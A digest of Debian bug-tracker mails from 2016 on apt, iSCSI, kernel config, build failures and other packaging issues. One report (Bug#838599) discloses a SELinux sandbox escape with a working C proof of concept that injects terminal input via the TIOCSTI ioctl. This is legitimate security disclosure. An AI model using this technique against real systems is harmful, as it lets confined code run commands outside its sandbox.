+	g++ -o jt9 $(OBJS2) libjt9.a -lfftw3f -lgfortran -lQtCore `dpkg-buildflags --get LDFLAGS`
 	cp jt9 ../wsjtx_install
 
 OBJS3 = jt9sim.o 

Bug#838545: apt not showing any package update if just one repo is not valid

[Julian Andres Klode]

Control: fixed -1 1.1~exp9

(This is the earliest version that I can find that works)

Summary: Fixed in stretch, no fix coming for jessie

On Thu, Sep 22, 2016 at 08:41:10AM +0200, Björn JACKE wrote:
> Package: apt
> Version: 1.0.9.8.3
> 
> when there are invalid or expired apt repositories configured, ALL other apt
> repos will not be updated.
> 
> In my case:
> 
> CRON-APT LINE: /usr/bin/apt-get -o quiet=1 update -o quiet=2
> E: Release file for 
> http://ftp.uni-koeln.de/debian/dists/jessie-backports/InRelease is expired 
> (invalid since 8d 18h 50min 50s). Updates for this repository will not be 
> applied
> 
> That message implies, that updates for this repository will not be applied 
> (but
> others will!)
> 
> But no packages are installed. Disabling the expired repository makes "apt-get
> dist-upgrade" install all the outstanding packages that have been release in
> the last 8 days (since the mentioned repo expired).
> 
> Enabling the repo again hides all the outstanding updates right away.

OK. So after taking a closer look at it, I can say that this was fixed
in the 1.1 development as part of a heavy refactoring of the acquire
code. As such, it cannot be backported to 1.0.9.8.



-- 
Debian Developer - deb.li/jak | jak-linux.org - free software dev

When replying, only quote what is necessary, and write each reply
directly below the part(s) it pertains to (`inline'). Thank you.

Bug#698394: Jmol binary does not depend on a Java runtime (patch included)

[Sabniveesu Shashank]

Hello maintainers,

The same bug was reported again in Ubuntu
(https://bugs.launchpad.net/hundredpapercuts/+bug/1529948) dated
2015-12-29 and is still valid.

This bug# 698394 has a patch dated Thu, 17 Jan 2013 22:09:01 UTC,
submitted by a developer.

Can you please take a look into it and comment if there are issues
with submission (or) more information is needed?

Thanks,

Shashank
One Hundred Papercuts
Ubuntu

Bug#838540: open-iscsi logout-all.sh script fails to log out iscsi target

[Colby Ross]

Also, not sure if it is relevant or not, but after the discovery command 
was issued, it started attaching to the iSCSI share twice at boot. I had 
to manually remove both entries in 
/etc/iscsi/nodes/iqn.2015-12.org.cokenet.ctl:iscsi. After that, it 
stopped attaching to it twice, and is back to attaching to it once (as 
/dev/sdb).


Colby

Bug#838545: apt not showing any package update if just one repo is not valid

[Julian Andres Klode]

On Thu, Sep 22, 2016 at 09:26:03PM +0200, Julian Andres Klode wrote:
> Version: 1.3~pre3
> 
> On Thu, Sep 22, 2016 at 08:41:10AM +0200, Björn JACKE wrote:
> > Package: apt
> > Version: 1.0.9.8.3
> > 
> > when there are invalid or expired apt repositories configured, ALL other apt
> > repos will not be updated.
> > 
> > In my case:
> > 
> > CRON-APT LINE: /usr/bin/apt-get -o quiet=1 update -o quiet=2
> > E: Release file for 
> > http://ftp.uni-koeln.de/debian/dists/jessie-backports/InRelease is expired 
> > (invalid since 8d 18h 50min 50s). Updates for this repository will not be 
> > applied
> > 
> > That message implies, that updates for this repository will not be applied 
> > (but
> > others will!)
> > 
> > But no packages are installed. Disabling the expired repository makes 
> > "apt-get
> > dist-upgrade" install all the outstanding packages that have been release in
> > the last 8 days (since the mentioned repo expired).
> > 
> > Enabling the repo again hides all the outstanding updates right away.
> 
> This bug was fixed in 1.3~pre3 with the following commit (strangely enough):
> 
> e8e5d464623f1c2e1ef96b14e622728bbf4b89af is the first fixed commit
> commit e8e5d464623f1c2e1ef96b14e622728bbf4b89af
> Author: David Kalnischkies 
> Date:   Wed Jul 20 09:03:09 2016 +0200
> 
> allow arch=all to override No-Support-for-Architecture-all
> 
> If a user explicitly requests the download of arch:all apt shouldn't get
> in the way and perform its detection dance if arch:all packages are
> (also) in arch:any files or not.
> 
> This e.g. allows setting arch=all on a source with such a field (or one
> which doesn't support all at all, but has the arch:all files like Debian
> itself ATM) to get only the arch:all packages from there instead of
> behaving like a no-op.
> 
> Reported-By: Helmut Grohne on IRC

Ignore that, it was fixed earlier. My test case was just broken before.

-- 
Debian Developer - deb.li/jak | jak-linux.org - free software dev

When replying, only quote what is necessary, and write each reply
directly below the part(s) it pertains to (`inline'). Thank you.

Bug#838540: open-iscsi logout-all.sh script fails to log out iscsi target

[Christian Seiler]

On 09/22/2016 09:31 PM, Colby Ross wrote:
> Just an update -- iscsiadm's discover protocol detects the target
> portal group tag as 257. Windows own iSCSI initiator does as well.

Thanks, that was what I expected. I'll update you once I've pinned
down the precise problem.

Regards,
Christian

Bug#838540: open-iscsi logout-all.sh script fails to log out iscsi target

[Colby Ross]

Christian

Just an update -- iscsiadm's discover protocol detects the target portal 
group tag as 257. Windows own iSCSI initiator does as well.


Colby

Bug#836677: pysparse: still worth maintaining?

[Anton Gladky]

Hi Ghis,

thanks for working on the package! Even it is abandoned by
upstream, we have to support it in Debian, because it has
reverse-dependency.

Feel free to ping me, if one need the package sponsoring.

Best regards

Anton


2016-09-22 9:33 GMT+02:00 Ghislain Vaillant :
> I have had a look at updating the package to the newest upstream
> release and fixing this FTBFS. However, I have got strong concerns as
> to whether it is worth keeping this package maintained in the archive:
>
> - The latest release on PyPI [1] is busted (missing files). The issue
> was reported [2] but never addressed since.
>
> - Latest activity on the upstream repository is from 2013. By now, I
> expected upstream would have fixed the PyPI tarball, at least.
>
> - No Python 3 support. A manual call to 2to3 on the Python sources
> allows the build process to run, but fails at the compilation stage.
>
> [1] https://pypi.python.org/pypi/pysparse
> [2] https://sourceforge.net/p/pysparse/mailman/message/33117282/
>
> Best regards,
> Ghis

Bug#837588: hppa: Please disable CONFIG_FTRACE for hppa architecture

[Helge Deller]

Hi Ben,

On 19.09.2016 20:56, Ben Hutchings wrote:
> On Mon, 2016-09-19 at 20:50 +0200, Helge Deller wrote:
>> On 19.09.2016 19:41, Ben Hutchings wrote:
>>> On Mon, 2016-09-12 at 20:28 +0100, Ben Hutchings wrote:
 On Mon, 2016-09-12 at 18:17 +0200, Helge Deller wrote:
>
> So, can you please deactivate CONFIG_FTRACE completely for 32- and
> 64bit hppa configs?
> Is it sufficient to add "CONFIG_FTRACE=n" to
> debian/config/hppa/config ?

 Done.

Argh - this didn't fixed the size issues on hppa.
I was under the wrong assumption, that CONFIG_FTRACE (which was implemented in
kernel 4.7 for the first time) was the culprit which increased the kernel size.
This assumption was wrong.

The attached patch finally fixes the issue.
It re-enables the CONFIG_FTRACE option (which is set by your upper config 
files),
and disables CONFIG_DEBUG_INFO which was now suddenly enabled by the debian
kernel 4.7 (it wasn't in 4.6!).
I enabled CONFIG_DEBUG_RODATA to write-protect kernel memory as well.

The main problem was, that the generated dwarf debug info increases the 
kernel vmlinux image from 17MB to 97MB in disk size.
I've compile- and run-tested the patch and built a +b1 kernel. 

Can you apply the attached patch on top of current git?
I can commit it myself as well if you like.

Thanks!
Helge
diff -up ./config/hppa/config.org ./config/hppa/config
--- ./config/hppa/config.org	2016-09-21 21:34:30.894455256 +0200
+++ ./config/hppa/config	2016-09-22 20:48:48.314036351 +0200
@@ -571,15 +571,10 @@ CONFIG_SGETMASK_SYSCALL=y
 CONFIG_SYSFS_SYSCALL=y
 
 ##
-## file: kernel/trace/Kconfig
-##
-#. As of 4.7 this has a huge size cost; see #837588
-# CONFIG_FTRACE is not set
-
-##
 ## file: lib/Kconfig.debug
 ##
 CONFIG_DEBUG_STACKOVERFLOW=y
+CONFIG_DEBUG_RODATA=y
 # CONFIG_LOCKUP_DETECTOR is not set
 
 ##
diff -up ./config/hppa/defines.org ./config/hppa/defines
--- ./config/hppa/defines.org	2016-09-22 09:38:55.695723334 +0200
+++ ./config/hppa/defines	2016-09-22 09:38:36.771730760 +0200
@@ -6,6 +6,7 @@ kernel-arch: parisc
 image-file: vmlinux
 # linux-signed only works for architectures in the main archive
 signed-modules: false
+debug-info: false
 
 [image]
 suggests: palo


signature.asc
Description: OpenPGP digital signature

Bug#818731: approx: weekly cronjob breaks with removal of Files field from Sources

[Niels Thykier]

On Sun, 20 Mar 2016 08:04:56 + Ian Campbell  wrote:
> Package: approx
> Version: 5.5-1
> Severity: important
> Control: block 818463 by -1
> 
> Dear Maintainer,
> 
> I've just received the following in a cron mail:
> 
> /etc/cron.weekly/approx:
> File /var/cache/approx/debian/dists/experimental/main/source/Sources.xz, line 
> 1: missing "Files" field
> run-parts: /etc/cron.weekly/approx exited with return code 1
> 
> Which I pressume relates to the changes announced in
> https://lists.debian.org/debian-devel-announce/2016/03/msg6.html
> 
> Tagging as blocking the corresponding archive bug.
> 
> There is a newer version in sid but the changelog doesn't indicate that it
> resolves this issue.
> 
> Ian.
> 
> [...]


Hi,

Is there any news on this bug?

It is my understanding that the FTP masters want to retire Packages.gz
shortly before the Stretch release.

Thanks,
~Niels

Bug#838599: policycoreutils SELinux sandbox escape via TIOCSTI ioctl

[up201407890]

Package: policycoreutils
Severity: important
Tags: security

Hi,

When executing a program via the SELinux sandbox, the nonpriv session  
can escape to the parent session by using the TIOCSTI ioctl to push  
characters into the terminal's input buffer, allowing an attacker to  
escape the sandbox.


$ cat test.c
#include 
#include 

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
  execlp("/bin/id", "id", NULL);
}

$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000  
context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176

[saken@ghetto ~]$ id<-- did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)  
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023



This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks,
Federico Bento.


This message was sent using IMP, the Internet Messaging Program.

Bug#818574: dose : does not support xz input files

[Niels Thykier]

On Tue, 19 Apr 2016 09:41:42 +0200 Johannes Schauer 
wrote:
> Hi,
> 
> On Fri, 18 Mar 2016 09:11:29 +0100 Ralf Treinen  wrote:
> > the dose services on qa.debian.org currently do not support xz input files.
> 
> while there is no libxz binding for ocaml yet, ben uses Sys.command to execute
> zcat, bzcat and xzcat on demand for compressed files. Maybe a similar scheme
> could be implemented in dose3?
> 
> Thanks!
> 
> cheers, josch

Hi,

Is there any news on this bug?

It is my understanding that the FTP masters want to retire Packages.gz
shortly before the Stretch release.

Thanks,
~Niels

Bug#838394: openbabel: FTBFS on mips,mips64el: internal compiler errors

[Niko Tyni]

tag 838394 unreproducible
close 838394
thanks

On Thu, Sep 22, 2016 at 04:32:34PM +0200, gregor herrmann wrote:
> On Thu, 22 Sep 2016 10:59:13 +0200, Julien Cristau wrote:
> 
> > On Thu, Sep 22, 2016 at 10:34:29 +0300, Niko Tyni wrote:
> > > @debian-wb-team: could you please give it back to see if it happens
> > > again on buildds?
> > >  gb openbabel_2.3.2+dfsg-2.4 . mips mips64el
> > Given back.
> 
> Thanks!
> And it built everywhere:
> https://buildd.debian.org/status/logs.php?pkg=openbabel=2.3.2%2Bdfsg-2.4

Good.
 
> I guess we can close this bug?
> Unless Niko would like to keep track of the issues he discovered, of
> course.

Didn't discover much as the issues were unreproducible. Closing for now.
-- 
Niko Tyni   nt...@debian.org

Bug#838598: package: reportbug

[Richard Jasmin]

Package: reportbug
Version: 6.6.6

-Is there a devil in here? Or is this a joke?

reportbug seems to be broken on stretch as of a few months ago.

I thought as many do via relay chat that this was limited to gmail. It isnt.

something has broken smtp auth and ssl auth for reportbug.

I get one of the following bugs:(yes, ive turned off the gmail restriction)

smtp auth failed at server XYZ
(please re-enter password)
login timeout

-server does not support TLS- (therefore disabled and tried again, back to 
above..)

nothing succeeds.

Ive tried juno and gmail, and I believe comcast. Im doing everything by the 
book. All of a sudden things stopped. google is demanding your blood type to 
use thier services these days.

-but nothing else works.

I dont mind the manual reporting but Id rather use a seperate email than my 
primary, most reporting systems flood your inbox.

I have several bugs to report or add info to.

Bug#838597: archivemount: Unmount instructions in man page lead to "Permission denied" error.

[George Bateman]

Package: archivemount
Version: 0.8.7-1
Severity: normal

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Dear Maintainer,

The man page for archivemount states that
The umount(8) command performs the corresponding unmount operation.

and uses umount in the example section. However, on my machine, if I
create a (.deb) archive I own and a directory, with ll showing
reasonable permissions

- -rw--- 1 bateman bateman 47276 2016-09-22 19:08 /tmp/tmp.QVX9KmDmyp
drwx-- 0 bateman bateman 47276 1970-01-01 01:00 /tmp/tmp.XdXuw43Zsv/

then umount /tmp/tmp.XdXuw43Zsv gives the error
umount: /tmp/tmp.XdXuw43Zsv: Permission denied

The commands "sudo umount" (obviously only available to sudoers) and
"fusermount -u" do work, however. Both are able to update the archive
afterwards. I therefore think that the man page should be changed to use
fusermount.

Many thanks,

George Bateman.

- -- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.6.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.utf8, LC_CTYPE=en_GB.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages archivemount depends on:
ii  fuse  2.9.7-1
ii  libarchive13  3.2.1-2
ii  libc6 2.23-5
ii  libfuse2  2.9.7-1

archivemount recommends no packages.

archivemount suggests no packages.

- -- no debconf information

-BEGIN PGP SIGNATURE-

iQE4BAEBCAAiBQJX5CMpGxxnZW9yZ2UuYmF0ZW1hbjE2QGdtYWlsLmNvbQAKCRDE
F6qcQDnvzzDCB/9j54TZ/qz49UI20fDHH8aor92iYfL6PV+pPePPhtKuZ+1zpzA7
yc7z4SUBeyfBOhaUk4fAtG0OY7oA4EIHB5RS6N9w+sdKja1VdiO3QFnYBUP4+I0u
1hv1wQSNMZ+1P+cK1f+R7nSYjIurA3qYXk6zpINrShH5+1aKE1I22NAFT246Hs0p
jZ9wl3JcPIadaVMaYSlViP3wc+R+t6n5gCZ0UCmszwyEzXCph4Juf870bEG+Gyms
QnRWcsi3a3V7HTC6dkn2isywCUnzsMNuJJ52ggYZeIZqeKCZfZlJ4lpn4E5dG2Pl
aBLxEv362vONS22qt2aAubHn7Bb483R7p0NM
=YtNn
-END PGP SIGNATURE-

Bug#838516: FTBFS: conflicts between build dependencies

[Joachim Reichel]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Removing libglew-dev from Build-Depends seems to work (in the sense that I did
not spot any related build errors), but I have no idea whether this is the
correct solution.

However, the build does not complete because of

/tmp/k3d-0.8.0.5/k3dsdk/ngui/utility.cpp: In function ‘void
k3d::ngui::non_blocking_sleep(double)’:
/tmp/k3d-0.8.0.5/k3dsdk/ngui/utility.cpp:63:2: error: ‘signal_timeout’ is not
a member of ‘Glib’
  Glib::signal_timeout().connect(

which can be fixed by adding "#include ".

Joachim

-BEGIN PGP SIGNATURE-
Version: GnuPG v2

iQIcBAEBCAAGBQJX5BuPAAoJELj6/xxDiGdxB/wP/0U2C73NtPyJFViMXQPRwm0h
0c+p18stcTnNlQk1vuZocPADKPHHTaSdD+7xTxMRIqK3BsIhrGehPdA7WzJ/DcAj
zHsSDTaPOM+L+4tBp7M5tLZTWGEBXL+4jk3flU70XW4R0+W4ivj+bkf1kZs4f9WX
w+bEpOWfp/8qNRy7SXzys5lFVJ4yRget2JnlXHukOAh8Y4wW525XB2pnZZ8Wr48F
ynQZuuLTarZH67dVEoT9nRXHG/cJUS5Y7/4gdh8Jc+K9KorFG11ugRMy6hFHpXZh
wfGvqXkHhFAjF+7VwYcS2oS7neSaDIJ57RBeKnIXeqsaESe+7VzmQga7woGOYGIb
OW16Ua43vOFb3a8BysH7+dg4FFcBu6wR6I+AgJyOG1zw95QcyH7Her4x1pQJ4YPd
VvmotJW+x4Z6p5ORdF1NyzELTGrm7Xxnea+zfZR+PxxQgRkJpSiu5sVx8fYtYTn5
+3ySHKhr+VqDjgWtac8HJV4SbU8uBPoUiqNQJS16ick7w3T0QLKSmWgTkr0HPz/I
hlLmPl3+2fQ1ZdgmMSZcOytICVfkl98rt7aDPBAK/INerLs7WdbOIwQSunxQ0Pri
M33KLPnT37oYthsu7U3vOYTAJdrYmAmenWUada/bTp/+R9bB48vJntdx3I3h399G
wTG+QmLQNPbqv0APynxb
=DPXf
-END PGP SIGNATURE-

Bug#838596: libreoffice-gtk3: When installed, LibreOffice is slow

[Nicolas Patrois]

Package: libreoffice-gtk3
Version: 1:5.2.1-1
Severity: important

Dear Maintainer,

LibreOffice was nearly unusable: clicking on an equation, opening a document, 
changing a style… took minutes. Some other operations simply crashed 
LibreOffice.
I searched a bit and found the workaround: uninstalling libroffice-gtk3 solved 
the problem.

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/3 CPU cores)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#838516: FTBFS: conflicts between build dependencies

[Manuel A. Fernandez Montecelo]

2016-09-22 3:26 GMT+02:00 Paul Wise :
> On Wed, 2016-09-21 at 21:38 +0200, Joachim Reichel wrote:
>
>> Build-Depends: [...] libglew-dev, libglewmx-dev, [...]
>
> Why does it build-depend against both variants?
>
>> but libglewmx-dev 1.13.0-3 has
>>
>> Conflicts: libglew-dev
>
> The background here is that glew 2.0.0 removed MX support but things
> like quesoglc and chromium-browser use the MX variant so I uploaded the
> old version of glew as glewmx and dropped the non-MX variants of it.
>
> There are a few possibilities here:
>
> The k3d maintainer can try to figure out the reason for it using both
> variants and switch to just one of them if possible.

Yep, I will try to do that in the next few days.


Cheers.
-- 
Manuel A. Fernandez Montecelo 

Bug#838595: okteta: installing okteta generates defunct Nepomuk

[Roland Miyamoto]

Source: okteta
Version: 4:4.14.2-1
Severity: normal

Dear Maintainer,

   * What led up to the situation?
apt-get install okteta

   * What exactly did you do (or not do) that was effective (or
 ineffective)?
apt-get install okteta

   * What was the outcome of this action?
okteta was installed.
Many other packages were installed.
One of them, probably libnepomuk4 4:4.14.2-5+deb8u1 caused a defunct nepomuk
entry in Xfce's software menu.
It also installs kdelibs5-data, which has the well-known mime database bug
#525599
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=525599

   * What outcome did you expect instead?
No unrelated software to be installed. Or at least software that is working.



-- System Information:
Debian Release: 8.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.utf8, LC_CTYPE=en_GB.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#838586: roxterm false on start up segfault

[Tony Houghton]

I've discontinued roxterm because the amount of work needed to fix 
outstanding bugs and continue to maintain it was more than it was worth. 
gnome-terminal is pretty good these days, and there are other terminals.


This bug looks like it's caused by an ABI change in VTE, which you would 
need roxterm version 3 for, but there was also another nasty 
incompatibility with GTK 3.20, hence its removal from Debian.


If you really badly want to keep using roxterm and don't mind missing 
some features you could try roxterm-gtk2.


--
TH

Bug#838594: network-manager: FTBFS: ERROR:test-crypto.c:243:test_load_pkcs8: assertion failed: (nm_utils_file_is_private_key (path, NULL))

[Chris Lamb]

Source: network-manager
Version: 1.4.0-3
Severity: serious
Justification: fails to build from source
User: reproducible-bui...@lists.alioth.debian.org
Usertags: ftbfs
X-Debbugs-Cc: reproducible-bui...@lists.alioth.debian.org

Dear Maintainer,

network-manager fails to build from source in unstable/amd64:

  [..]

  mkhtml_options=""; \
  gtkdoc-mkhtml 2>&1 --help | grep  >/dev/null "\-\-verbose"; \
  if test "$?" = "0"; then \
if test "x" = "x1"; then \
  mkhtml_options="$mkhtml_options --verbose"; \
fi; \
  fi; \
  gtkdoc-mkhtml 2>&1 --help | grep  >/dev/null "\-\-path"; \
  if test "$?" = "0"; then \
mkhtml_options="$mkhtml_options 
--path=\"/home/lamby/temp/cdt.20160922191524.YuLDocelz6.db.network-manager/network-manager-1.4.0/docs/libnm-glib\"";
 \
  fi; \
  cd html && gtkdoc-mkhtml $mkhtml_options  libnm-glib ../libnm-glib-docs.xml
  gtkdoc-fixxref --module=libnm-glib --module-dir=html 
--html-dir=/usr/share/gtk-doc/html 
  html/NMDeviceTeam.html:107: warning: no link for: 'NMObjectArray' -> (NMObjectArray).
  html/NMDeviceTeam.html:167: warning: no link for: 'api-index-0.9.10' -> 
(0.9.10).
  html/NMDeviceTeam.html:173: warning: no link for: 'DBusGConnection' -> (DBusGConnection).
  html/NMDeviceTeam.html:285: warning: no link for: 'NMDevices' -> (NMDevices).
  html/NMDeviceBt.html:279: warning: no link for: 'NMBluetoothCapabilities' -> 
(NMBluetoothCapabilities).
  html/libnm-glib-NMVpnPluginUiWidget.html:265: warning: no link for: 
'NMConnection' -> (NMConnection).
  html/NMIP4Config.html:120: warning: no link for: 'NMStringArray' -> (NMStringArray).
  html/NMIP4Config.html:132: warning: no link for: 'NMUintArray' -> (NMUintArray).
  html/NMIP4Config.html:291: warning: no link for: 'NMIP4Address' -> (NMIP4Address).
  html/NMIP4Config.html:320: warning: no link for: 'NMIP4Routes' -> (NMIP4Routes).
  html/NMIP4Config.html:520: warning: no link for: 'NMSettingIP4Routes' -> 
(NMSettingIP4Routes).
  html/NMDevice.html:491: warning: no link for: 'GValueArray-guint+guint-*' -> 
(GValueArray_guint+guint_*).
  html/NMDevice.html:1041: warning: no link for: 'api-index-1.2' -> (1.2).
  html/NMDevice.html:1280: warning: no link for: 'NMDeviceStateReason' -> 
(NMDeviceStateReason).
  html/NMDevice.html:1344: warning: no link for: 'NMRemoteConnections' -> 
(NMRemoteConnections).
  html/NMDevice.html:1369: warning: no link for: 'api-index-0.9.8' -> (0.9.8).
  html/NMDevice.html:1456: warning: no link for: 'api-index-1.0' -> (1.0).
  html/NMDevice.html:1847: warning: no link for: 'NMSetting' -> (NMSetting).
  html/NMActiveConnection.html:658: warning: no link for: 
'NM-ACTIVE-CONNECTION-STATE-ACTIVATED:CAPS' -> (NM_ACTIVE_CONNECTION_STATE_ACTIVATED).
  html/NMDeviceWifi.html:540: warning: no link for: 'NMAccessPoints' -> (NMAccessPoints).
  html/NMAccessPoint.html:209: warning: no link for: 'NMSsid' -> (NMSsid).
  html/NMIP6Config.html:123: warning: no link for: 'NMIP6AddressObjectArray' -> 
(NMIP6AddressObjectArray).
  html/NMIP6Config.html:141: warning: no link for: 'NMIP6AddressArray' -> 
(NMIP6AddressArray).
  html/NMIP6Config.html:147: warning: no link for: 'NMIP6RouteObjectArray' -> 
(NMIP6RouteObjectArray).
  html/NMIP6Config.html:292: warning: no link for: 'NMIP6Address' -> (NMIP6Address).
  html/NMIP6Config.html:321: warning: no link for: 'NMIP6Routes' -> (NMIP6Routes).
  html/NMIP6Config.html:522: warning: no link for: 
'nm-utils-ip6-addresses-from-gvalue' -> (nm_utils_ip6_addresses_from_gvalue()).
  html/NMIP6Config.html:523: warning: no link for: 'NMSettingIP6Address' -> 
(NMSettingIP6Address).
  html/NMIP6Config.html:555: warning: no link for: 
'nm-utils-ip6-routes-from-gvalue' -> (nm_utils_ip6_routes_from_gvalue()).
  html/NMClient.html:751: warning: no link for: 'NM-IS-DEVICE-:CAPS' -> 
(NM_IS_DEVICE_()).
  html/NMClient.html:1402: warning: no link for: 'NMState' -> (NMState).
  html/NMClient.html:1483: warning: no link for: 'NMActiveConnections' -> 
(NMActiveConnections).
  html/NMClient.html:1677: warning: no link for: 'api-index-0.9.8.6' -> 
(0.9.8.6).
  html/NMDeviceWimax.html:457: warning: no link for: 'NMWimaxNsps' -> (NMWimaxNsps).
  html/NMDeviceBond.html:286: warning: no link for: 'api-index-0.9.6.4' -> 
(0.9.6.4).
  html/libnm-glib-NMVPNPlugin.html:183: warning: no link for: 
'NMVPNServiceState' -> (NMVPNServiceState).
  html/libnm-glib-NMVPNPlugin.html:238: warning: no link for: 
'NMVPNPluginFailure' -> (NMVPNPluginFailure).
  html/NMSecretAgent.html:914: warning: no link for: 'a-z' -> (A-Z).
  html/libnm-glib-nm-vpn-plugin-utils.html:114: warning: no link for: 
'NMSettingSecretFlags' -> (NMSettingSecretFlags).
  touch html-build.stamp
  make[4]: Leaving directory 
'/home/lamby/temp/cdt.20160922191524.YuLDocelz6.db.network-manager/network-manager-1.4.0/docs/libnm-glib'
  make[4]: Entering directory 
'/home/lamby/temp/cdt.20160922191524.YuLDocelz6.db.network-manager/network-manager-1.4.0/docs'
  make[4]: Nothing to be done for 'all-am'.
  make[4]: Leaving directory 

Bug#838176: mcabber: please update the package to the latest release

[Franziska Lichtblau]

On Thu, Sep 22, 2016 at 07:11:13PM +0200, Mikael Berthe wrote:
> * Anatoly Kazantsev  [2016-09-18 06:43 +0200]:
> > 
> > Current version of mcabber is 1.0.2 but we still have 0.10 in debian,
> > so some new features and fixes are missing.
> 
> 1.0.3 now, actually! :)
> 
> > I'd like to help to package a newer release though I'm not a DD or anything 
> > lile that.
> > I've already built the latest version using debian tools and offered a help
> > to you in April via a private email.
> 
> If I am not mistaken an mcabber developer also offered his help a while
> ago.

First of all sorry for the state of the package. 
Please insert reasons here why I can't take care of it correctly. I
contacted all the people directly who offered help with it, but all contact
ended up in nowhere - which is sad. 
If anybody is willing to help I'd really really much appreciate it. I
didn't want to RFA it in this state, but I might just do it within the next
days so that somebody can pick it up and fix it. 

Sorry for the mess guys! 

rhalina 


-- 
rhalina (Franziska Lichtblau)  rhal...@old-forest.org
rhal...@inet.tu-berlin.de

«I refuse to be bound by software I cannot trust and negotiate with.»
-- Enrico Zini --


signature.asc
Description: Digital signature

Bug#838592: gnome-python-desktop: FTBFS: autotools.mk:44: *** no python implementation resolved from binary package "stamp-autotools".

[Chris Lamb]

Source: gnome-python-desktop
Version: 2.32.0+dfsg-3
Severity: serious
Justification: fails to build from source
User: reproducible-bui...@lists.alioth.debian.org
Usertags: ftbfs
X-Debbugs-Cc: reproducible-bui...@lists.alioth.debian.org

Dear Maintainer,

gnome-python-desktop fails to build from source in unstable/amd64:

  [..]

  Setting up libxdmcp6:amd64 (1:1.1.2-1.1) ...
  Setting up libgmpxx4ldbl:amd64 (2:6.1.1+dfsg-1) ...
  Setting up libvorbis0a:amd64 (1.3.5-3) ...
  Setting up x11-common (1:7.7+16) ...
  update-rc.d: warning: start and stop actions are no longer supported; falling 
back to defaults
  invoke-rc.d: could not determine current runlevel
  invoke-rc.d: policy-rc.d denied execution of start.
  Setting up ca-certificates (20160104) ...
  Setting up hicolor-icon-theme (0.15-1) ...
  Setting up libglib2.0-bin (2.50.0-1) ...
  Setting up python2.7-dev (2.7.12-3) ...
  Setting up python-all (2.7.11-2) ...
  Setting up libgraphite2-dev (1.3.8-1) ...
  Setting up libwww-robotrules-perl (6.01-1) ...
  Setting up orbit2 (1:2.14.19-1+b1) ...
  Setting up libx11-data (2:1.6.3-1) ...
  Setting up libxau6:amd64 (1:1.0.8-1) ...
  Setting up libdbus-1-3:amd64 (1.10.10-1) ...
  Setting up liblzo2-2:amd64 (2.08-1.2) ...
  Setting up libavahi-common-data:amd64 (0.6.32-1) ...
  Setting up libhttp-negotiate-perl (6.00-2) ...
  Setting up libidn11-dev (1.33-1) ...
  Setting up zlib1g-dev:amd64 (1:1.2.8.dfsg-2+b1) ...
  Setting up libvorbisfile3:amd64 (1.3.5-3) ...
  Setting up libgmp-dev:amd64 (2:6.1.1+dfsg-1) ...
  Setting up libpython-dev:amd64 (2.7.11-2) ...
  Setting up gconf2-common (3.2.6-3) ...
  
  Creating config file /etc/gconf/2/path with new version
  Setting up libdbus-1-dev:amd64 (1.10.10-1) ...
  Setting up libpcre3-dev:amd64 (2:8.39-2) ...
  Setting up gir1.2-atk-1.0:amd64 (2.22.0-1) ...
  Setting up fontconfig-config (2.11.0-6.7) ...
  Setting up x11proto-core-dev (7.0.29-1) ...
  Setting up libhttp-cookies-perl (6.01-1) ...
  Setting up libcanberra0:amd64 (0.30-3) ...
  Setting up libdbus-glib-1-2:amd64 (0.108-1) ...
  Setting up python-dev (2.7.11-2) ...
  Setting up liblapack3 (3.6.1-2) ...
  update-alternatives: using /usr/lib/lapack/liblapack.so.3 to provide 
/usr/lib/liblapack.so.3 (liblapack.so.3) in auto mode
  Setting up libgconf-2-4:amd64 (3.2.6-3) ...
  Setting up libcanberra-dev:amd64 (0.30-3) ...
  Setting up libpython-all-dev:amd64 (2.7.11-2) ...
  Setting up libharfbuzz0b:amd64 (1.2.7-1+b1) ...
  Setting up libxau-dev:amd64 (1:1.0.8-1) ...
  Setting up libthai0:amd64 (0.1.25-1) ...
  Setting up libicu-dev (57.1-4) ...
  Setting up liborbit2:amd64 (1:2.14.19-1+b1) ...
  Setting up libglib2.0-dev (2.50.0-1) ...
  Setting up python-numpy (1:1.11.1~rc1-1) ...
  Setting up python-gobject-2-dev (2.28.6-13) ...
  Setting up libgnome-keyring0:amd64 (3.12.0-1+b1) ...
  Setting up libxml2-dev:amd64 (2.9.4+dfsg1-2) ...
  Setting up libbonobo2-0:amd64 (2.32.1-3) ...
  Setting up gconf-service (3.2.6-3) ...
  Setting up libxdmcp-dev:amd64 (1:1.1.2-1.1) ...
  Setting up python-all-dev (2.7.11-2) ...
  Setting up gir1.2-gnomekeyring-1.0 (3.12.0-1+b1) ...
  Setting up libice6:amd64 (2:1.0.9-1+b1) ...
  Setting up x11proto-resource-dev (1.2.0-3) ...
  Setting up nettle-dev (3.2-1) ...
  Setting up libavahi-common3:amd64 (0.6.32-1) ...
  Setting up libavahi-glib1:amd64 (0.6.32-1) ...
  Setting up libgnome-keyring-dev (3.12.0-1+b1) ...
  Setting up libpng-dev:amd64 (1.6.25-1) ...
